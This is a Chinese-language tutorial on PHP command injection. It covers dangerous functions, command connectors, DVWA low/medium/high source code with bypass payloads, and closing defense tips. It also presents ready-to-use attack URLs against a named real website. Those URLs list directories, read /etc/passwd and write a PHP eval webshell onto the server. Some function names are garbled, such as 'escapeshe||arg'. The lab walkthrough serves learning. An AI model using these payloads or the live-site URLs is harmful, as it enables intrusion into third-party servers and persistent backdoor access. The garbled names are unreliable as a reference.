命令執行:
PHP:system、exec、shell_exec、passthru、popen、proc_popen等稱爲高危漏洞。
原理:只要程序可以調用系統命令的情況下都可以發生命令執行漏洞。
條件:用戶能夠控制函數輸入,存在可以執行代碼的危險函數。
命令執行漏洞產生原因:
開發人員沒有對特殊函數入口做過濾,導致用戶可以提交惡意代碼並提交服務端執行。
Web服務器沒有過濾危險函數導致命令執行漏洞攻擊成功。
命令執行漏洞帶來的危害:
- 繼承Web服務程序的權限去執行系統命令或讀寫文件。
- 反彈shell
- 控制整個網站甚至控制服務器。
- 進一步內網滲透
PHP中的危險函數:
- system:成功則返回命令輸出的最後一行,失敗則返回FALSE。
- exec:命令執行結果的最後一行內容。
- shell_exec:命令執行的輸出。如果執行過程中發生錯誤或者進程不產生輸出,則返回NULL。
- passthru:執行外部程序並且顯示原始輸出。
- eval:將輸入的字符串參數當做PHP程序代碼來執行。
- assert
- preg_replace
- call_user_func
DVWA:Command Injection(命令行注入)
命令連接符:
在windows和linux都支持,如果程序沒有進行過濾,那麼我們可以通過連接符來執行多條命令。
command1 && command2 先執行Command 1,執行成功後執行Command 2,否則不執行Command 2
command1 | command2 只執行command2
command1 & command2 先執行Command 1,不管是否成功,都會執行Command 2
低:
源碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
strustr:搜索字符串在另一字符串中的第一次出現,返回字符串的剩餘部分。
php_uname:返回運行PHP操作系統的相關描述。s:返回操作系統名稱。n:返回主機名。r:返回版本名。
服務器通過判斷操作系統執行不同ping命令,但是對ip參數並未做任何的過濾,導致了嚴重的命令注入漏洞。
由於windows和linux都可以用&&來執行多條命令,所以可以構造payload:127.0.0.1&&net user
中:
中等級使用的是str_replace吧‘&&’,‘;’替換爲空字符串,所以可以構造payload:127.0.0.1 &;&whoami。
高:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比於前面兩個等級的,高等級完善了黑名單,但是由於黑名單的侷限性,我們可以看出來他只是過濾掉了“| ”,如果|後不跟空格則可以繞過過濾。可以構造payload:127.0.0.1|dir
命令執行漏洞實例:
讀取當前目錄文件:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+%26%27
查看etc目錄:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+/etc+%26%27
讀取系統密碼:
http://ztsj.ztgame.com/stat.php?url=%27%26cat+/etc/passwd+%26%27
寫入一句話木馬:
http://ztsj.ztgame.com/stat.php?url=%27%26echo+"<?php @eval(\$_POST['value']);?>"+>>+php.php+%26%27
命令執行的防禦:
- 儘量不要執行外部命令。
- 使用自定義函數或者函數庫來代替外部命令的功能。
- 使用escapeshe||arg函數來處理命令參數。
- 使用safe_mode_exec_dir指定可執行文件的路徑。(safe_mode_exec_dir指定路徑時可以把會使用的命令提前放入此路徑內。)